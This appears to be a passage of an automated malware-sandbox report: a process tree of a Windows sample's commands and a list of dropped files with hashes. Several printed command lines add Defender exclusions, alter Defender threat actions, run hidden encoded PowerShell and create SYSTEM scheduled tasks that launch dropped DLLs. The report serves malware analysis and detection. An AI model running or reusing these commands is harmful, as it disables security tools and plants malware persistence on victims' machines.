                                                                                                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:32
                                                                                                                                                                                    3⤵
                                                                                                                                                                                      PID:1948
                                                                                                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v C:\Windows\Temp\nlcUipsDcFbdntMB /t REG_DWORD /d 0 /reg:64
                                                                                                                                                                                      3⤵
                                                                                                                                                                                        PID:4212
                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                      schtasks /CREATE /TN "gGjRolFiL" /SC once /ST 17:25:58 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                                                                                                                                                                                      2⤵
                                                                                                                                                                                      • Creates scheduled task(s)
                                                                                                                                                                                      PID:2020
                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                      schtasks /run /I /tn "gGjRolFiL"
                                                                                                                                                                                      2⤵
                                                                                                                                                                                        PID:3592
                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                        schtasks /DELETE /F /TN "gGjRolFiL"
                                                                                                                                                                                        2⤵
                                                                                                                                                                                          PID:4808
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /CREATE /TN "yfARWRprRqUFWeTGf" /SC once /ST 11:59:59 /RU "SYSTEM" /TR "\"C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\AWLfpbu.exe\" aV /OWMZdidge 385118 /S" /V1 /F
                                                                                                                                                                                          2⤵
                                                                                                                                                                                          • Drops file in Windows directory
                                                                                                                                                                                          • Creates scheduled task(s)
                                                                                                                                                                                          PID:4624
                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                          schtasks /run /I /tn "yfARWRprRqUFWeTGf"
                                                                                                                                                                                          2⤵
                                                                                                                                                                                            PID:1456
                                                                                                                                                                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                                                                                                                                                                                          C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                                                                                                                                                                                          1⤵
                                                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                          • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                          PID:2760
                                                                                                                                                                                          • C:\Windows\system32\gpupdate.exe
                                                                                                                                                                                            "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                            2⤵
                                                                                                                                                                                              PID:4628
                                                                                                                                                                                          • C:\Windows\system32\gpscript.exe
                                                                                                                                                                                            gpscript.exe /RefreshSystemParam
                                                                                                                                                                                            1⤵
                                                                                                                                                                                              PID:4640
                                                                                                                                                                                            • C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\AWLfpbu.exe
                                                                                                                                                                                              C:\Windows\Temp\nlcUipsDcFbdntMB\LDIxkfUBXQlUStg\AWLfpbu.exe aV /OWMZdidge 385118 /S
                                                                                                                                                                                              1⤵
                                                                                                                                                                                              • Checks computer location settings
                                                                                                                                                                                              • Executes dropped EXE
                                                                                                                                                                                              • Drops Chrome extension
                                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                                              • Drops file in Program Files directory
                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                              PID:4572
                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6" & forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                2⤵
                                                                                                                                                                                                  PID:2620
                                                                                                                                                                                                  • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                    forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147735503 /t REG_SZ /d 6"
                                                                                                                                                                                                    3⤵
                                                                                                                                                                                                      PID:3124
                                                                                                                                                                                                      • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                        /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                        4⤵
                                                                                                                                                                                                          PID:4216
                                                                                                                                                                                                          • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                            reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6
                                                                                                                                                                                                            5⤵
                                                                                                                                                                                                              PID:2488
                                                                                                                                                                                                        • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                          forfiles /p c:\windows\system32 /m calc.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147814524 /t REG_SZ /d 6"
                                                                                                                                                                                                          3⤵
                                                                                                                                                                                                            PID:2352
                                                                                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                              /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                              4⤵
                                                                                                                                                                                                                PID:4036
                                                                                                                                                                                                                • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                  reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147814524 /t REG_SZ /d 6
                                                                                                                                                                                                                  5⤵
                                                                                                                                                                                                                    PID:1032
                                                                                                                                                                                                              • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                forfiles /p c:\windows\system32 /m where.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147780199 /t REG_SZ /d 6"
                                                                                                                                                                                                                3⤵
                                                                                                                                                                                                                  PID:2276
                                                                                                                                                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                    /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                    4⤵
                                                                                                                                                                                                                      PID:1208
                                                                                                                                                                                                                      • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                        reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147780199 /t REG_SZ /d 6
                                                                                                                                                                                                                        5⤵
                                                                                                                                                                                                                          PID:2548
                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m waitfor.exe /c "cmd /C reg add \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v 2147812831 /t REG_SZ /d 6"
                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                        PID:3488
                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                          /C reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                            PID:3896
                                                                                                                                                                                                                            • \??\c:\windows\SysWOW64\reg.exe
                                                                                                                                                                                                                              reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147812831 /t REG_SZ /d 6
                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                PID:5064
                                                                                                                                                                                                                          • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                            forfiles /p c:\windows\system32 /m help.exe /c "cmd /C powershell start-process -WindowStyle Hidden gpupdate.exe /force"
                                                                                                                                                                                                                            3⤵
                                                                                                                                                                                                                              PID:4464
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                /C powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                4⤵
                                                                                                                                                                                                                                  PID:4844
                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                    powershell start-process -WindowStyle Hidden gpupdate.exe /force
                                                                                                                                                                                                                                    5⤵
                                                                                                                                                                                                                                    • Drops file in System32 directory
                                                                                                                                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                    • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                    • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                    PID:1004
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\gpupdate.exe
                                                                                                                                                                                                                                      "C:\Windows\system32\gpupdate.exe" /force
                                                                                                                                                                                                                                      6⤵
                                                                                                                                                                                                                                        PID:4584
                                                                                                                                                                                                                              • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                schtasks /DELETE /F /TN "biPxHmULFllsbMgnpt"
                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                  PID:1472
                                                                                                                                                                                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                  "C:\Windows\System32\cmd.exe" /C forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True" &
                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                    PID:3044
                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\forfiles.exe
                                                                                                                                                                                                                                      forfiles /p c:\windows\system32 /m cmd.exe /c "cmd /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True"
                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                        PID:4452
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                                                                                                                          /C powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                          4⤵
                                                                                                                                                                                                                                            PID:2440
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                                                                                                                              powershell -WindowStyle Hidden WMIC /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                              5⤵
                                                                                                                                                                                                                                              • Drops file in System32 directory
                                                                                                                                                                                                                                              • Modifies data under HKEY_USERS
                                                                                                                                                                                                                                              • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                                                                                                              • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                              PID:648
                                                                                                                                                                                                                                              • C:\Windows\SysWOW64\Wbem\WMIC.exe
                                                                                                                                                                                                                                                "C:\Windows\System32\Wbem\WMIC.exe" /NAMESPACE:\\root\Microsoft\Windows\Defender PATH MSFT_MpPreference call Remove ExclusionExtension=exe Force=True
                                                                                                                                                                                                                                                6⤵
                                                                                                                                                                                                                                                • Suspicious use of AdjustPrivilegeToken
                                                                                                                                                                                                                                                PID:3936
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                        schtasks /CREATE /TR "rundll32 \"C:\Program Files (x86)\zgoZGMcaU\KwtoYm.dll\",#1" /RU "SYSTEM" /SC ONLOGON /TN "JHJXtPPPvDXVqpH" /V1 /F
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Drops file in Windows directory
                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                        PID:5016
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                        schtasks /CREATE /TN "JHJXtPPPvDXVqpH2" /F /xml "C:\Program Files (x86)\zgoZGMcaU\YQXzLYd.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                        • Creates scheduled task(s)
                                                                                                                                                                                                                                        PID:3688
                                                                                                                                                                                                                                      • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                        schtasks /END /TN "JHJXtPPPvDXVqpH"
                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                          PID:1108
                                                                                                                                                                                                                                        • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                          schtasks /DELETE /F /TN "JHJXtPPPvDXVqpH"
                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                            PID:2556
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            schtasks /CREATE /TN "HtmGfIeJlxktuW" /F /xml "C:\Program Files (x86)\epoBtGYzqLvU2\hZiCXub.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                            PID:1468
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            schtasks /CREATE /TN "beuYBzgGTLbmn2" /F /xml "C:\ProgramData\pICeQFkDCDDquYVB\kOHfbUL.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                            PID:2244
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            schtasks /CREATE /TN "ykYfCTTujiceFdOqI2" /F /xml "C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\hBsIYRj.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                            PID:4544
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            schtasks /CREATE /TN "fWcEirOkMoMQjrUKaey2" /F /xml "C:\Program Files (x86)\ecOJmsgAHWlsC\fgVOaBY.xml" /RU "SYSTEM"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                            PID:1880
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            schtasks /CREATE /TN "aNyMQclguOCSCcjxm" /SC once /ST 02:09:46 /RU "SYSTEM" /TR "rundll32 \"C:\Windows\Temp\nlcUipsDcFbdntMB\mEcFmnQG\cKVYZTS.dll\",#1 /GPdidg 385118" /V1 /F
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                            • Drops file in Windows directory
                                                                                                                                                                                                                                            • Creates scheduled task(s)
                                                                                                                                                                                                                                            PID:3976
                                                                                                                                                                                                                                          • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                            schtasks /run /I /tn "aNyMQclguOCSCcjxm"
                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                              PID:2244
                                                                                                                                                                                                                                            • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                              schtasks /DELETE /F /TN "yfARWRprRqUFWeTGf"
                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                PID:5004
                                                                                                                                                                                                                                            • C:\Windows\system32\svchost.exe
                                                                                                                                                                                                                                              C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                                                                                                                                                                                                                                              1⤵
                                                                                                                                                                                                                                                PID:3068
                                                                                                                                                                                                                                              • C:\Windows\system32\rundll32.EXE
                                                                                                                                                                                                                                                C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nlcUipsDcFbdntMB\mEcFmnQG\cKVYZTS.dll",#1 /GPdidg 385118
                                                                                                                                                                                                                                                1⤵
                                                                                                                                                                                                                                                  PID:2428
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\rundll32.exe
                                                                                                                                                                                                                                                    C:\Windows\system32\rundll32.EXE "C:\Windows\Temp\nlcUipsDcFbdntMB\mEcFmnQG\cKVYZTS.dll",#1 /GPdidg 385118
                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                    • Blocklisted process makes network request
                                                                                                                                                                                                                                                    • Checks BIOS information in registry
                                                                                                                                                                                                                                                    • Loads dropped DLL
                                                                                                                                                                                                                                                    • Enumerates system info in registry
                                                                                                                                                                                                                                                    PID:1764
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\schtasks.exe
                                                                                                                                                                                                                                                      schtasks /DELETE /F /TN "aNyMQclguOCSCcjxm"
                                                                                                                                                                                                                                                      3⤵
                                                                                                                                                                                                                                                        PID:4540
                                                                                                                                                                                                                                                  • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                    C:\Windows\SysWOW64\WerFault.exe -pss -s 456 -p 416 -ip 416
                                                                                                                                                                                                                                                    1⤵
                                                                                                                                                                                                                                                      PID:3680
                                                                                                                                                                                                                                                    • C:\Windows\SysWOW64\WerFault.exe
                                                                                                                                                                                                                                                      C:\Windows\SysWOW64\WerFault.exe -pss -s 536 -p 860 -ip 860
                                                                                                                                                                                                                                                      1⤵
                                                                                                                                                                                                                                                        PID:1760

                                                                                                                                                                                                                                                      Network

                                                                                                                                                                                                                                                      MITRE ATT&CK Enterprise v15

                                                                                                                                                                                                                                                      Replay Monitor

                                                                                                                                                                                                                                                      Loading Replay Monitor...

                                                                                                                                                                                                                                                      Downloads

                                                                                                                                                                                                                                                      • C:\$RECYCLE.BIN\S-1-5-18\desktop.ini

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        129B

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        a526b9e7c716b3489d8cc062fbce4005

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        2df502a944ff721241be20a9e449d2acd07e0312

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        e1b9ce9b57957b1a0607a72a057d6b7a9b34ea60f3f8aa8f38a3af979bd23066

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        d83d4c656c96c3d1809ad06ce78fa09a77781461c99109e4b81d1a186fc533a7e72d65a4cb7edf689eeccda8f687a13d3276f1111a1e72f7c3cd92a49bce0f88

                                                                                                                                                                                                                                                      • C:\Program Files (x86)\HwnzDfNzNWHpPtLDwZR\hBsIYRj.xml

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        90f9944ff86672617e057b1871c57a6f

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        49e10eb082d432b72b9ad123969f385b06460962

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        1d98b73f365c17436082a88163f314e4dd0a59c538e7acaf580f00fa32213d3b

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        5e9470ed3bb0b4ebea9a5c1945ec277ac4d47d5a9e5a7e8eee9b7e8997b0fb45b569dc83969ddbdd3b1a478d9f28c2cde500c8520a4ff68f12a20b4749cf2f98

                                                                                                                                                                                                                                                      • C:\Program Files (x86)\ecOJmsgAHWlsC\fgVOaBY.xml

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        6fcdc5f798132d4478c0ee9fc779d2b7

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        a1a02d24548a8822f72e5bd02b112b222a6db4f3

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        326ab20642252be0ddf32065046e9e82fc356311575a1d45ffea357cea0212f4

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        fcffe7591e6c397878c4937ec09184fd0a0c5335099e8d76ae3a9db4314c64fd43a8a3d413ac590d426ca43fa66e8c4ba8481a2aa20480d87200ede7f7e83f29

                                                                                                                                                                                                                                                      • C:\Program Files (x86)\epoBtGYzqLvU2\hZiCXub.xml

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        660cd638e9bd193c6498282251edd3b8

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        66c7f755ae7a89f1fb4a2033f091dda28740233c

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        83d1241d6bf1aca833b1cb6de33a7e356ce2f13bf7e8bdaf77bab53c39e9b104

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        6da6fe204201e8cc432d27a544b2a8be62bf1ae56fb310decbca52856339308186a0c1427c67ad96e8f009ef50bf3ecf3b2b51fe6cfa413e60725a9c8c8aab5b

                                                                                                                                                                                                                                                      • C:\Program Files (x86)\zgoZGMcaU\YQXzLYd.xml

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        06bc5c46f18e52135cc1223b8c7c5a69

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        7b4d3901138d111e8b12e90223620df94548bcfb

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        7ec286eb9b87fceebb513149a581e22debc40c7a05892d81395c05f1b6dfbd11

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        003f392405c749dd9b229fac45192a6a9c66451df7c8f133afd24f663fd7177338e0a9e27c90f17f427a2a1176bf4b6329cb411d460286af86b6abc16d7d8331

                                                                                                                                                                                                                                                      • C:\Program Files\Mozilla Firefox\browser\features\{85FD6ACE-3736-491B-8514-6C8C9556E131}.xpi

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        2.0MB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        3ea150011bb95a3bc6bd8a947aa80b1a

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        07b9c036f6798f9d81738b7f09bdcd284493595a

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        26d62d38435ec8bc7a87a29772b340a661df7bf8e6891ee23f1c7c51152dfdf8

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        127905039e5f4f9f0935d9588db502da58dc9e24fc0e17c445b26e35651c1906d1947cbac9792c91514249c4d39c26d5b020b23ad67e81d78240a23923cf4a07

                                                                                                                                                                                                                                                      • C:\ProgramData\Are.docx

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        11KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        a33e5b189842c5867f46566bdbf7a095

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        e1c06359f6a76da90d19e8fd95e79c832edb3196

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        5abf8e3d1f78de7b09d7f6fb87f9e80e60caacf13ef3c1289665653dacd7c454

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        f2ad3812ec9b915e9618539b0f103f2e9acaad25fbbacd84941c954ce070af231324e83a4621e951c1dbae8d40d50410954e40dd52bbd46e34c54b0d1957407b

                                                                                                                                                                                                                                                      • C:\ProgramData\mozglue.dll

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        593KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        c8fd9be83bc728cc04beffafc2907fe9

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        95ab9f701e0024cedfbd312bcfe4e726744c4f2e

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        ba06a6ee0b15f5be5c4e67782eec8b521e36c107a329093ec400fe0404eb196a

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        fbb446f4a27ef510e616caad52945d6c9cc1fd063812c41947e579ec2b54df57c6dc46237ded80fca5847f38cbe1747a6c66a13e2c8c19c664a72be35eb8b040

                                                                                                                                                                                                                                                      • C:\ProgramData\pICeQFkDCDDquYVB\kOHfbUL.xml

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        2KB

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        a3d780b6fe9419cd69b12ff3c558634d

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        93c1aee14267f9fe74dda0b47978260ed7ffe250

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        3dc22fc44f4b07920251aa15e4985af26b8ab4299c2d3972bdf136b78f852c94

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        da9379c234b34cce93bbe57c717d8fd183556c9863c44ce7b53cb47c753e2507cb873691deacde0cdda3bc1c10cfb7ad0d3a0e9961f54041ac407cc255f1bec6

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\en_GB\messages.json

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        187B

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        2a1e12a4811892d95962998e184399d8

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        55b0ae8a7b5a5d6094827ede8e6a1d26d4b4a720

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        32b4406692c26b540fea815a9bb56df1f164140cd849e8025930b7425036cceb

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        bb54d5e8684a6bfeac559b7c7a7551eed6a8a43a4c6464218cb0adb1c89fea124b69760690c3124af86fa68ac3fdbe903eaa098f0af2b6a58f4702c803abc089

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\fa\messages.json

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        136B

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        238d2612f510ea51d0d3eaa09e7136b1

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        0953540c6c2fd928dd03b38c43f6e8541e1a0328

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        801162df89a8ad2b1a51de75e86eba3958b12960660960a5ffafe9bc55bc293e

                                                                                                                                                                                                                                                        SHA512

                                                                                                                                                                                                                                                        2630dd7a3c17dc963b1a71d81295cf22f8b3838748b55c433318e1e22f5b143a6d374ca2e5a8420659fa130200fbaa4814d0f093b1eca244b5635a3b99878e1c

                                                                                                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\agcghmjnenlfcjmnldooeaadankclolo\1.4_0\_locales\pt_BR\messages.json

                                                                                                                                                                                                                                                        Filesize

                                                                                                                                                                                                                                                        150B

                                                                                                                                                                                                                                                        MD5

                                                                                                                                                                                                                                                        0b1cf3deab325f8987f2ee31c6afc8ea

                                                                                                                                                                                                                                                        SHA1

                                                                                                                                                                                                                                                        6a51537cef82143d3d768759b21598542d683904

                                                                                                                                                                                                                                                        SHA256

                                                                                                                                                                                                                                                        0ec437af3f59fef30355cf803966a2b9a0cd9323d390297496f750775995a6bf

                                                                                                                                                                                                                                                        SHA512

